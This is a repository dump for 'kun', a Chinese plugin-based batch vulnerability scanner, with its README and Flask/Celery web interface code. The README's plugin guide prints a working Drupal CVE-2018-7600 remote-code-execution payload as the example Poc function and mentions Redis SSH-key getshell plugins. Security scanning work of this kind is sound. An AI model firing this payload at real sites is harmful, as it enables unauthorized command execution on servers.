├── README.md
├── app
├── __init__.py
├── celery_worker.py
├── data.py
├── extensions.py
├── files
│ └── .gitignore
├── models.py
├── static
│ ├── 2fad952a20fbbcfd1bf2ebb210dccf7a.woff
│ ├── 6f0a76321d30f3c8120915e57f7bd77e.ttf
│ ├── index.js
│ ├── login.js
│ ├── plugin.js
│ ├── regist.js
│ ├── task.js
│ ├── taskDetail.js
│ └── vuln.js
├── task.py
├── templates
│ ├── index.html
│ ├── login.html
│ ├── plugin.html
│ ├── regist.html
│ ├── task.html
│ ├── taskDetail.html
│ └── vuln.html
└── view.py
├── config.py
├── gunicorn.conf
├── kun.py
├── kunscanner
├── __init__.py
├── dict
│ ├── ignore_domain
│ └── weak_file
├── lib
│ ├── __init__.py
│ ├── api
│ │ ├── __init__.py
│ │ ├── baidu.py
│ │ ├── subDomainsBrute.py
│ │ └── zoomeye.py
│ ├── config
│ │ └── scanner.conf
│ ├── controller
│ │ ├── __init__.py
│ │ └── controller.py
│ ├── core
│ │ ├── __init__.py
│ │ ├── argsparse.py
│ │ ├── common.py
│ │ ├── data.py
│ │ ├── database.py
│ │ ├── datatype.py
│ │ ├── enums.py
│ │ ├── exception.py
│ │ ├── info.py
│ │ ├── loader.py
│ │ ├── log.py
│ │ ├── models.py
│ │ ├── output.py
│ │ ├── scanner.py
│ │ └── spider.py
│ ├── parse
│ │ ├── __init__.py
│ │ └── cmdline.py
│ ├── scripts
│ │ ├── __init__.py
│ │ ├── couchdb_exec.py
│ │ ├── drupal
│ │ │ ├── __init__.py
│ │ │ └── drupal_exec_7600.py
│ │ ├── redis
│ │ │ └── redis_sshkey_getshell.py
│ │ ├── struts2
│ │ │ ├── s2_032.py
│ │ │ ├── s2_045.py
│ │ │ └── s2_048.py
│ │ ├── unauth
│ │ │ ├── __init__.py
│ │ │ ├── memcached_unauth.py
│ │ │ ├── mongodb_unauth.py
│ │ │ └── redis_unauth.py
│ │ ├── weakfile
│ │ │ └── weakfile.py
│ │ └── weblogic
│ │ │ └── weblogic_2628.py
│ └── utils
│ │ ├── __init__.py
│ │ ├── ceye.py
│ │ ├── terminalsize.py
│ │ └── utils.py
├── log
│ └── .gitignore
├── result
│ └── .gitignore
├── scanner.py
└── webapi.py
├── requirements_all.txt
├── requirements_cli.txt
├── supervisord.conf
└── web.py
/README.md:
--------------------------------------------------------------------------------
1 | # kun scanner (项目重构,不再更新)
2 | 插件化漏洞扫描器
3 |
4 | ## 简介:
5 | 插件化漏洞扫描器,对大量目标(单个目标,IP段,文件、API、爬虫)和大量POC组合快速批量漏洞测试,支持web、终端两种操作方式。
6 |
7 | ## 适合做什么
8 | 因为扫描器是对目标和插件组合使用多线程进行测试,所以速度提升是提升在对组合后多线程取队列测试,但单个Poc运行都是单线程的。如:
9 |
10 | 1. 针对10.10.10.1-10.10.20.254进行未授权访问测试(各种未授权访问的脚本),组合所有目标插件放入队列后,多线程取队列测试,速度会很快,因为每个插件的测试时间都很短。
11 |
12 | 2. 针对http://10.10.10.1/ 进行目录爆破,这种速度会非常慢,因为组合后的结果只有一条,但是插件的内容是跑字典,相当于单线程爆破,这样速度就很慢了。
13 |
14 | ## 特点:
15 | 1. 操作方式方面,提供了web和终端两种操作方式。通过终端和web创建扫描都是可以的。终端开了数据库存储后创建扫描,web也是可以看到扫描结果的。
16 | 2. 目标获取方面,提供了多重目标输入方式,单个目标,IP段,文件、API(目前就只写了zoomeye、百度域名采集、subDomainsBrute)、爬虫(目前完成了域名采集爬虫)。
17 | 3. 域名采集爬虫方面,不是使用的搜索引擎爬虫,主要是根据页面嵌入的新域名然后对下一个域名进行继续扫描新域名,后边会加入搜索引擎的爬虫。
18 | 4. 在爬虫方面,因为爬虫的速度是不确定的,可能获取目标的时间就会特别的长(假设要获取6万个目标,那爬虫获取目标的时间可能就会非常的长),所以扫描器采用边爬边扫的方式,为爬虫单独开一个进程,爬虫进程中使用多线程加快爬虫速度,扫描进程获取到爬虫进程中的目标数据后就会开始扫描,提升爬虫扫描下的扫描速度。
19 | 5. 插件方面,可以选择一个或者全选,也可以选择特定文件夹下所有的,选择unauth文件夹下的,那指定unauth*就可以了。对于无回显的插件使用的是ceye 。
20 | 6. web方面,提供扫描任务、漏洞等信息的查看。
21 |
22 | ## 支持目标类型
23 | 1. 单一URL
24 | 2. IP段 192.168.1-254,192.168.1.0/24,10.10.10.1-10.10.20.1
25 | 3. 文件
26 | 4. 域名采集爬虫 根据指定的初始域名进行域名采集
27 | 5. 搜索引擎爬虫 目前仅百度,根据关键字采集域名
28 | 6. zoomeye
29 | 7. subDomainsBrute 根据subDomainsBrute返回的结果,对得到的子域名,对应IP和IP的C段进行扫描
30 |
31 | ## 依赖:
32 |
33 | * Python 2.7
34 | * Flask
35 | * Celery
36 | * MongoDB
37 | * Redis
38 |
39 | ## 平台:
40 |
41 | * Linux
42 | * Mac OS X
43 | * Windows下不建议使用,因为爬虫部分用了多进程,Windows下多进程不太一样,所以Windows下爬虫功能目前是不能用的,在终端下其他功能是可用的,但不确定是否存在编码问题,没有进行测试。Web端可以运行,因为程序使用Celery 3.1版本是支持Windows的,但没有进行测试。
44 | * 建议在Linux或者Mac OS X使用
45 |
46 | ## 安装:
47 | ### 在ubuntu 16.04上安装
48 | #### 1. 完整安装,包括web部分:
49 | ##### 配置环境:
50 | ```
51 | git clone https://github.com/SPuerBRead/kun.git
52 | cd ./kun
53 | pip install -r requirements_all.txt
54 | apt install mongodb
55 | apt install redis-server
56 | ```
57 |
58 | ##### 补充配置信息:
59 |
60 | 配置文件分为两种,web的配置文件和扫描器的配置文件
61 |
62 | web配置文件
63 | ```
64 | kun/config.py
65 | ```
66 |
67 | web端连接mongo和redis的地址端口在这个配置文件下,默认是127.0.0.1:27017,127.0.0.1:6379
68 |
69 | 扫描器的配置文件
70 | ```
71 | kun/kunscanner/lib/config/scanner.conf
72 | ```
73 | 需要对zoomeye和ceye进行配置填写token信息,其他的可以不变,每一项具体内容有详细注释。
74 |
75 | ##### 启动程序:
76 |
77 | gunicorn和supervisor装不装都是可以的
78 |
79 | * 使用gunicorn和supervisor
80 |
81 | 需要对supervisord.conf中的directory、stdout_logfile、stderr_logfile值根据实际情况修改
82 |
83 | 启动web服务
84 | ```
85 | gunicorn -c gunicorn.conf web:app
86 | ```
87 | 启动celery
88 | ```
89 | supervisord -c /supervisord.conf
90 | ```
91 | 访问 http://127.0.0.1:5000/ 首次自动跳转至创建用户界面,创建用户登录成功后,点击右上角账户名处,下拉框中点击更新插件后,即可使用开始。
92 | * 不使用gunicorn和supervisor
93 |
94 | 启动web服务
95 | ```
96 | python web.py
97 | ```
98 | 启动celery
99 | ```
100 | PYTHONOPTIMIZE=1&&celery worker -A app.celery_worker.celery -l INFO
101 | ```
102 | 访问 http://127.0.0.1:5000/ 操作同上。
103 |
104 | 完整安装后,也可以不使用web端直接在终端下运行扫描器
105 | ```
106 | python kun.py -u 127.0.0.1 --script "unauth*"
107 | ```
108 |
109 | #### 2. 只在终端下运行扫描器,不安装web端:
110 | ##### 配置环境:
111 | ```
112 | git clone https://github.com/SPuerBRead/kun.git
113 | cd ./kun
114 | pip install -r requirements_cli.txt
115 | ```
116 | ##### 补充配置信息:
117 | 只需要修改扫描器的配置文件,添加zoomeye和ceye信息
118 | 在不启用数据库存储的情况下是不需要安装mongo的,程序默认是开了数据库存储的,所以将/kunscanner/lib/config/scanner.conf 中的SAVE_RESULT_TO_DATABASE = true改为false就可以终端下直接运行扫描器了
119 | ##### 启动程序:
120 | ```
121 | python kun.py -u 127.0.0.1 --script "unauth*"
122 | ```
123 | 终端下需要数据保存到数据库的话,SAVE_RESULT_TO_DATABASE设置为true,然后安装mongodb并配置扫描器的配置文件(默认是127.0.0.1:27017),数据就会存储到mongo中。若要查看数据需要安装web也是一样的,再像上边的一样部署下web就可以用web操作扫描器了。
124 |
125 | ## 注意:
126 | Redis和MongoDB程序里都是没有设置连接密码的,需要保持只能本机访问的状态,不然本身就是未授权访问了。
127 |
128 | ## 截图:
129 | ### 创建扫描任务
130 | 
131 | ### 任务列表
132 | 
133 | ### 任务详细信息
134 | 
135 | ### URL扫描
136 | 
137 | ### 利用API扫描
138 | 
139 | ### 利用爬虫扫描
140 | 
141 | ### 百度获取目标扫描
142 | 
143 | ### 插件信息
144 | 
145 | ## 程序流程
146 | 
147 |
148 | ## 插件:
149 | 插件目录 kun/kunscanner/lib/scripts
150 |
151 | 每个插件包含两个主要函数Info函数、Poc函数。
152 |
153 | ### Info函数提供插件的基础信息
154 | 如下是Drupal命令执行的例子
155 | ```
156 | def Info():
157 | poc_info = OrderedDict()
158 | poc_info['name'] = "drupal_exec_7600"
159 | poc_info['info'] = "drupal core remote code execution (CVE-2018-7600)"
160 | poc_info['title'] = u'Drupal远程命令执行'
161 | poc_info['author'] = "a2u"
162 | poc_info['time'] = "2018.04.14"
163 | poc_info['type'] = 'attack'
164 | poc_info['level'] = SCRIPT_LEVEL.HIGH
165 | return poc_info
166 | ```
167 | 1. name->文件名
168 | 2. info->简介
169 | 3. title->web下的插件标题
170 | 4. author->作者
171 | 5. time->时间
172 | 6. type->插件类别
173 | 7. level->插件等级
174 |
175 | #### 插件类别
176 | 插件类别包含两种attack和info,两种插件都返回一个字典作为结果,区别在于两种插件返回字典的内容是不同的
177 |
178 | 1. attack类型,验证型的漏洞脚本,插件利用结果成功或者失败,所以返回的字典包含两个键,其中success表示是否存在该漏洞
179 | 另外一个键是message,表示插件返回的其他信息,例如phpcms_v9的文件上传漏洞,shell地址会作为message返回给扫描器,若存在该漏洞Poc函数的返回结果即为:
180 | ```
181 | result['success'] = True
182 | result['message'] = shell_path
183 | ```
184 | 2. info类型插件,主要作用是返回信息,不是验证是否成功,返回的结果中,每种信息的名字作为key,具体内容作为value,例如通过一个脚本批量获取域名的whois信息和ip地址,那么Poc函数返回的结果为:
185 | ```
186 | result['whois'] = whois_data
187 | result['ip'] = ip_address
188 | ```
189 | 扫描器会根据不同的插件类型对返回信息进行处理,显示信息,存储数据库等。
190 |
191 | #### 插件等级
192 | 插件等级可以从枚举类SCRIPT_LEVEL中获得,如漏洞为高危
193 | ```
194 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
195 | poc_info['level'] = SCRIPT_LEVEL.HIGH
196 | ```
197 | ### Poc函数包含具体利用代码
198 | 如下是Drupal命令执行的例子
199 | ```
200 | def Poc(url):
201 | init_url = url
202 | socket.setdefaulttimeout(5)
203 | result = {}
204 | result['success'] = False
205 | result['message'] = ''
206 | try:
207 | random_str = RandomString()
208 | url = GetNetloc(url, True)
209 | target = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
210 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
211 | 'mail[#type]': 'markup', 'mail[#markup]': 'echo '+random_str+' | tee '+random_str+'.txt'}
212 | r = requests.post(target, data=payload, timeout = 5)
213 | if r.status_code != 200:
214 | return result
215 | else:
216 | r = requests.get(url+'/'+random_str+'.txt', timeout = 5)
217 | if r.status_code == 200 and random_str in r.text and 'html' not in r.text:
218 | result['success'] = True
219 | result['message'] = 'random_file: /'+random_str+'.txt'
220 | return result
221 | except Exception,e:
222 | raise PocWarningException(init_url, Info()['name'], repr(e))
223 | ```
224 | 首先init_url只是保存一份最初始的目标,用于Poc出现异常时的显示,然后创建result字典作为返回结果。
225 |
226 | 下边的利用代码使用try except包含,因为设计的是一个多目标对应多漏洞的扫描器,所以程序是不能因为Poc出现一个异常就停止整个程序的运行的,扫描器提供了两种可以抛出异常分别是PocWarningException和PocErrorException
227 |
228 | * 导入异常函数
229 | ```
230 | from kunscanner.lib.core.exception import PocWarningException PocErrorException
231 | ```
232 |
233 | 1. PocWarningException主要是处理不需要停止程序的异常,如requests请求超时,扫描器捕获到这个异常后会将异常内容存入log或输出到终端(根据扫描器配置文件中的配置选择)后忽略并继续运行其他测试代码。
234 | 2. PocErrorException主要处理已知的异常,如redis写入ssh公钥,但是在Poc中公钥变量为空,验证是否成功使用的私钥也为空,抛出这个异常,程序会停止运行, 并进行提示,但是这样也导致了一个问题,在--script-all的情况下,其中一个插件产生这个异常,就会直接退出程序。
235 |
236 | Poc函数的返回,在上边插件类别部分已经说明。
237 |
238 | * 导入工具函数
239 | ```
240 | from kunscanner.lib.utils.utils import GetNetloc, RandomString
241 | ```
242 | * 通过ceye获取结果,CeyeApi返回为True或者False
243 | ```
244 | from kunscanner.lib.utils.ceye import CeyeApi
245 | result = CeyeApi(rangom_string)
246 | ```
247 | 编写新插件完成后,放在插件目录下(kun/kunscanner/lib/scripts)终端下即可使用,web端请点击更新插件进行更新,同样删除插件后也需要点击更新插件来更新数据库中的插件信息。
248 |
249 | ### 插件注意事项
250 | 插件请求的时间需要插件自己控制,requests或者socket的超时时间等,requests有时会出现加了timeout仍然卡死的现象,可以在函数中设置socket.setdefaulttimeout()
251 |
252 | ## 更新
253 |
254 | * 2018.5.26 增加百度域名采集
255 | * 2018.5.31 增加subDomainsBrute模块
256 |
257 | ## 感谢
258 |
259 | * 前端的作者[@huyuangang](https://github.com/huyuangang)
260 |
261 | * 程序整体结构上学习了POC-T,很多地方参考了[POC-T](https://github.com/Xyntax/POC-T),以前一直用POC-T,当前的一些插件也是用POC-T的插件修改的,感谢@Xyntax大佬
262 |
263 | ## 最后
264 |
265 | 插件的数量目前比较少,只弄了几个比较常用的和比较新的,插件的准确性太重要了,许多流出来的老插件就没有改了,后边会慢慢提交,工作得做,Poc就还是会有==
266 |
267 | 代码能力有限,bug肯定会有的==,结构和编码也都不是那么规范,后期逐渐修改。
268 |
--------------------------------------------------------------------------------
/app/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : __init__.py
5 |
6 | from flask import Flask
7 | from extensions import celery,login_manager
8 | from view import kun
9 | from models import db
10 |
11 | def CreateApp():
12 | app = Flask(__name__)
13 | app.config.from_object('config')
14 | celery.config_from_object('config')
15 | InitmongoDB(app)
16 | InitLogin(app)
17 | RegisterBlueprints(app)
18 | return app
19 |
20 |
21 | def RegisterBlueprints(app):
22 | app.register_blueprint(kun)
23 |
24 | def InitmongoDB(app):
25 | db.init_app(app)
26 |
27 | def InitLogin(app):
28 | login_manager.init_app(app)
29 |
30 | @login_manager.user_loader
31 | def load_user(user_id):
32 | from app.models import User
33 | return User.objects(id=user_id).first()
--------------------------------------------------------------------------------
/app/celery_worker.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : celery_worker.py
5 |
6 | from app import CreateApp
7 | from extensions import celery
8 |
9 | app = CreateApp()
10 | app.app_context().push()
--------------------------------------------------------------------------------
/app/data.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : data.py
5 |
6 | def GetSeverArgs():
7 | server_args = {
8 | "all_scripts":False,
9 |
10 | "max_number":None,
11 |
12 | "custom_scripts":None,
13 |
14 | "ip_segment":None,
15 |
16 | "output_file_name":None,
17 |
18 | "custom_scripts_info":False,
19 |
20 | "all_scripts_info":None,
21 |
22 | "spider_init_url":None,
23 |
24 | "target_file":None,
25 |
26 | "url":None,
27 |
28 | "zoomeye":None,
29 |
30 | "baidu":None,
31 |
32 | "task_id":None,
33 |
34 | "update_script_info":False,
35 |
36 | "task_name":None,
37 |
38 | "zoomeye_search_type":None,
39 |
40 | "subdomain":None,
41 |
42 | "custom_scripts_info":None,
43 |
44 | "search_script":None
45 | }
46 | return server_args
47 |
48 |
49 | class TASKTYPE:
50 | URL = 0
51 | IPS = 1
52 | API = 2
53 | SPIDER = 3
54 | FILE = 4
55 |
56 | class APINAME:
57 | ZOOMEYE = 'zoomeye'
58 | BAIDU = 'baidu'
59 | SUBDOMAIN = 'subDomainsBrute'
60 |
61 | class STATUS:
62 | WAIT = 'Waiting'
63 | RUN = 'Running'
64 | FINISH = 'Finish'
65 | FAIL = 'Failed'
66 | CLOSE = 'Close'
--------------------------------------------------------------------------------
/app/extensions.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : extensions.py
5 |
6 | from celery import Celery,platforms
7 | from config import CELERY_BROKER_URL,CELERY_RESULT_BACKEND
8 | from flask_login import LoginManager
9 |
10 | celery = Celery(__name__,broker = CELERY_BROKER_URL,backend=CELERY_RESULT_BACKEND)
11 | platforms.C_FORCE_ROOT = True
12 |
13 | login_manager = LoginManager()
--------------------------------------------------------------------------------
/app/files/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/files/.gitignore
--------------------------------------------------------------------------------
/app/models.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : models.py
5 |
6 | from flask_mongoengine import MongoEngine
7 | from datetime import datetime
8 |
9 | db = MongoEngine()
10 |
11 | class Task(db.Document):
12 | task_id = db.StringField(required = True)
13 | task_name = db.StringField()
14 | short_target = db.StringField()
15 | full_target = db.StringField()
16 | scan_mode = db.StringField()
17 | target_type = db.StringField()
18 | script_type = db.StringField()
19 | target_number = db.IntField()
20 | script_info = db.StringField()
21 | start_time = db.DateTimeField(default=datetime.now)
22 | finish_time = db.DateTimeField(default=datetime.now)
23 |
24 | class Result(db.Document):
25 | task_id = db.StringField(required = True,unique=True)
26 | result = db.StringField()
27 | high_count = db.IntField()
28 | medium_count = db.IntField()
29 | low_count = db.IntField()
30 |
31 | class Script(db.Document):
32 | script_id = db.StringField(required = True,unique=True)
33 | script_name = db.StringField()
34 | script_info = db.StringField()
35 | script_author = db.StringField()
36 | script_update_time = db.StringField()
37 | script_level = db.StringField()
38 | script_title = db.StringField()
39 |
40 | class Status(db.Document):
41 | task_id = db.StringField(required = True,unique=True)
42 | task_name = db.StringField()
43 | warning = db.StringField()
44 | status = db.StringField()
45 | progress = db.StringField()
46 | create_time = db.DateTimeField(default=datetime.now)
47 |
48 | class Vuln(db.Document):
49 | task_id = db.StringField(required=True)
50 | vuln_id = db.StringField(required=True, unique=True)
51 | target = db.StringField()
52 | script = db.StringField()
53 | message = db.StringField()
54 | script_type = db.StringField()
55 | create_time = db.DateTimeField(default=datetime.now)
56 |
57 |
58 | class User(db.Document):
59 | username = db.StringField(required=True, max_length=64)
60 | password = db.StringField(max_length=256)
61 |
62 | is_authenticated = True
63 |
64 | is_active = True
65 |
66 | is_anonymous = True
67 |
68 |
69 | def get_id(self):
70 | return str(self.id)
71 |
72 | def __unicode__(self):
73 | return self.username
--------------------------------------------------------------------------------
/app/static/2fad952a20fbbcfd1bf2ebb210dccf7a.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/static/2fad952a20fbbcfd1bf2ebb210dccf7a.woff
--------------------------------------------------------------------------------
/app/static/6f0a76321d30f3c8120915e57f7bd77e.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/static/6f0a76321d30f3c8120915e57f7bd77e.ttf
--------------------------------------------------------------------------------
/app/task.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : task.py
5 |
6 | from extensions import celery
7 | from kunscanner.webapi import NewScan
8 | from data import GetSeverArgs,APINAME
9 |
10 |
11 | @celery.task(bind=True)
12 | def UrlScanTask(self,target,script,task_name):
13 | server_args = GetSeverArgs()
14 | server_args['url'] = target
15 | server_args['custom_scripts'] = script
16 | server_args['task_name'] = task_name
17 | server_args['task_id'] = self.request.id
18 | NewScan(server_args)
19 |
20 |
21 | @celery.task(bind=True)
22 | def IPSScanTask(self,target,script,task_name):
23 | server_args = GetSeverArgs()
24 | server_args['ip_segment'] = target
25 | server_args['custom_scripts'] = script
26 | server_args['task_name'] = task_name
27 | server_args['task_id'] = self.request.id
28 | NewScan(server_args)
29 |
30 | @celery.task(bind=True)
31 | def SpiderScanTask(self,target,script,task_name,number):
32 | server_args = GetSeverArgs()
33 | server_args['spider_init_url'] = target
34 | server_args['custom_scripts'] = script
35 | server_args['task_name'] = task_name
36 | server_args['task_id'] = self.request.id
37 | server_args['max_number'] = number
38 | NewScan(server_args)
39 |
40 |
41 | @celery.task(bind=True)
42 | def ApiScanTask(self,api_name,keyword,script,task_name,number,search_type,file_path):
43 | server_args = GetSeverArgs()
44 | if api_name == APINAME.ZOOMEYE:
45 | server_args['zoomeye'] = keyword
46 | server_args['custom_scripts'] = script
47 | server_args['task_name'] = task_name
48 | server_args['task_id'] = self.request.id
49 | server_args['max_number'] = number
50 | server_args['zoomeye_search_type'] = search_type
51 | NewScan(server_args)
52 | if api_name == APINAME.BAIDU:
53 | server_args['baidu'] = keyword
54 | server_args['custom_scripts'] = script
55 | server_args['task_name'] = task_name
56 | server_args['task_id'] = self.request.id
57 | server_args['max_number'] = number
58 | NewScan(server_args)
59 | if api_name == APINAME.SUBDOMAIN:
60 | server_args['subdomain'] = file_path
61 | server_args['custom_scripts'] = script
62 | server_args['task_name'] = task_name
63 | server_args['task_id'] = self.request.id
64 | NewScan(server_args)
65 |
66 |
67 |
68 | @celery.task(bind=True)
69 | def FileScanTask(self,file_path,script,task_name):
70 | server_args = GetSeverArgs()
71 | server_args['custom_scripts'] = script
72 | server_args['task_name'] = task_name
73 | server_args['task_id'] = self.request.id
74 | server_args['target_file'] = file_path
75 | NewScan(server_args)
--------------------------------------------------------------------------------
/app/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | kun - scanner
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/templates/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | kun - login
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/app/templates/plugin.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | kun - scanner
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/app/templates/regist.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | kun - regist
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/templates/task.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | kun - scanner
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/templates/taskDetail.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | kun - scanner
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/app/templates/vuln.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | kun - scanner
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/app/view.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/24 下午2:21
3 | # @author : Xmchx
4 | # @File : view.py
5 |
6 |
7 | import os
8 | import cgi
9 | import json
10 | import re
11 | import urlparse
12 | import hashlib
13 | import time
14 | from collections import OrderedDict
15 |
16 | from flask import (Blueprint, redirect, render_template, request,
17 | url_for)
18 | from flask_login import login_required, login_user, current_user, logout_user
19 | from werkzeug.security import check_password_hash, generate_password_hash
20 |
21 | from extensions import celery
22 | from models import Result, Script, Status, Task, User, Vuln
23 | from task import UrlScanTask, IPSScanTask, SpiderScanTask, ApiScanTask, FileScanTask
24 | from kunscanner.webapi import ScriptsInfo, APIInfo
25 | from data import TASKTYPE,STATUS,APINAME
26 |
27 | kun = Blueprint('kun', __name__)
28 |
29 | page_item_number = 28
30 |
31 | UPLOAD_FOLDER = './app/files'
32 |
33 |
34 | @kun.route('/', methods=['GET'])
35 | def Root():
36 | if User.objects().all().count() == 0:
37 | return redirect(url_for('kun.CreateAdmin'))
38 | else:
39 | if current_user.is_authenticated:
40 | return redirect(url_for('kun.IndexHander'))
41 | else:
42 | return redirect(url_for('kun.Login'))
43 |
44 |
45 | @kun.route('/index',methods=['GET'])
46 | @login_required
47 | def IndexHander():
48 | return render_template('index.html')
49 |
50 | @kun.route('/vuln',methods=['GET'])
51 | @login_required
52 | def VulnHandler():
53 | return render_template('vuln.html')
54 |
55 | @kun.route('/task',methods=['GET'])
56 | @login_required
57 | def TaskHandler():
58 | return render_template('task.html')
59 |
60 | @kun.route('/script',methods=['GET'])
61 | @login_required
62 | def ScriptHandler():
63 | return render_template('plugin.html')
64 |
65 | @kun.route('/task_detail',methods=['GET'])
66 | @login_required
67 | def TaskDetail():
68 | return render_template('taskDetail.html')
69 |
70 |
71 | @kun.route('/login',methods=['GET', 'POST'])
72 | def Login():
73 | login_message = {}
74 | if request.method == 'GET':
75 | if current_user.is_authenticated == False:
76 | return render_template('login.html')
77 | else:
78 | return redirect(url_for('kun.IndexHander'))
79 | if request.method == 'POST':
80 | data = json.loads(request.get_data())
81 | username = data['username']
82 | password = data['password']
83 | user = User.objects(username=username).first()
84 | if user:
85 | if not check_password_hash(user.password, password):
86 | login_message['success'] = False
87 | login_message['message'] = u'用户名或密码错误'
88 | return json.dumps(login_message)
89 | else:
90 | login_message['success'] = False
91 | login_message['message'] = u'用户名或密码错误'
92 | return json.dumps(login_message)
93 | login_user(user)
94 | login_message['success'] = True
95 | login_message['message'] = u'登陆成功'
96 | return json.dumps(login_message)
97 |
98 | @kun.route('/logout',methods=['GET'])
99 | @login_required
100 | def Logout():
101 | result = {}
102 | try:
103 | logout_user()
104 | result['success'] = True
105 | except:
106 | result['success'] = False
107 | return json.dumps(result)
108 |
109 |
110 | @kun.route('/create_admin',methods=['GET', 'POST'])
111 | def CreateAdmin():
112 | register_message = {}
113 | if request.method == 'GET':
114 | if User.objects().all().count() == 0:
115 | return render_template('regist.html')
116 | else:
117 | return redirect(url_for('kun.Login'))
118 | if request.method == 'POST':
119 | if User.objects().all().count() == 0:
120 | data = json.loads(request.get_data())
121 | username = data['username']
122 | password = data['password']
123 | confirm_password = data['confirm_password']
124 | if not re.match(re.compile(r'^[A-Za-z0-9-]+$'),username):
125 | register_message['success'] = False
126 | register_message['message'] = u'用户名只允许使用数字或字母,不允许使用特殊符号。'
127 | return json.dumps(register_message)
128 | if password != confirm_password:
129 | register_message['success'] = False
130 | register_message['message'] = u'两次输入的密码不相同'
131 | return json.dumps(register_message)
132 | if len(password) < 6 or not re.match(re.compile(r'([0-9]+(\W+|\_+|[A-Za-z]+))+|([A-Za-z]+(\W+|\_+|\d+))+|((\W+|\_+)+(\d+|\w+))+'),password):
133 | register_message['success'] = False
134 | register_message['message'] = u'密码长度至少为6位,且需要字母,数字,特殊符号至少两种的组合。'
135 | return json.dumps(register_message)
136 | pass_hash = generate_password_hash(password, method='pbkdf2:sha256')
137 |
138 | User(
139 | username = username,
140 | password = pass_hash
141 | ).save()
142 |
143 | register_message['success'] = True
144 | register_message['message'] = u'注册成功,请登录'
145 | return json.dumps(register_message)
146 | else:
147 | register_message['success'] = False
148 | register_message['message'] = u'注册功能在成功注册一次后不能再次使用,请管理员登陆后使用“添加用户”功能添加新用户'
149 | return json.dumps(register_message)
150 |
151 | @kun.route('/user',methods=['GET'])
152 | @login_required
153 | def GetUser():
154 | result = {}
155 | result['username'] = current_user.username
156 | return json.dumps(result)
157 |
158 | @kun.route('/add_user',methods=['POST'])
159 | @login_required
160 | def AddUser():
161 | register_message = {}
162 | data = json.loads(request.get_data())
163 | username = data['username']
164 | password = data['password']
165 | confirm_password = data['confirm_password']
166 | if password != confirm_password:
167 | register_message['success'] = False
168 | register_message['message'] = u'两次输入的密码不相同'
169 | if User.objects(username=username).all().count():
170 | register_message['success'] = False
171 | register_message['message'] = u'用户名已被使用。'
172 | return json.dumps(register_message)
173 | if not re.match(re.compile(r'^[A-Za-z0-9-]+$'),username):
174 | register_message['success'] = False
175 | register_message['message'] = u'用户名只允许使用数字或字母,不允许使用特殊符号。'
176 | return json.dumps(register_message)
177 | if len(password) < 6 or not re.match(re.compile(r'([0-9]+(\W+|\_+|[A-Za-z]+))+|([A-Za-z]+(\W+|\_+|\d+))+|((\W+|\_+)+(\d+|\w+))+'),password):
178 | register_message['success'] = False
179 | register_message['message'] = u'密码长度至少为6位,且需要字母,数字,特殊符号至少两种的组合。'
180 | return json.dumps(register_message)
181 | pass_hash = generate_password_hash(password, method='pbkdf2:sha256')
182 | User(
183 | username = username,
184 | password = pass_hash
185 | ).save()
186 | register_message['success'] = True
187 | register_message['message'] = u'注册成功,请登录'
188 | return json.dumps(register_message)
189 |
190 | @kun.route('/task_list/', methods=['GET'])
191 | @login_required
192 | def TaskList(show_type):
193 | result = []
194 | page_result = {}
195 | if show_type == 'index':
196 | lens = len(Status.objects)
197 | if lens > 10:
198 | data = Status.objects[lens - 10:lens]
199 | else:
200 | data = Status.objects().all()
201 | elif show_type == 'all':
202 | data = Status.objects().all()
203 | elif show_type == 'page':
204 | page_number = int(request.args.get('p'))
205 | lens = len(Status.objects)
206 | page_result['total_page'] = str(lens//page_item_number+1)
207 | if page_number > lens//page_item_number+1:
208 | return json.dumps(page_result)
209 | if page_number * page_item_number < lens:
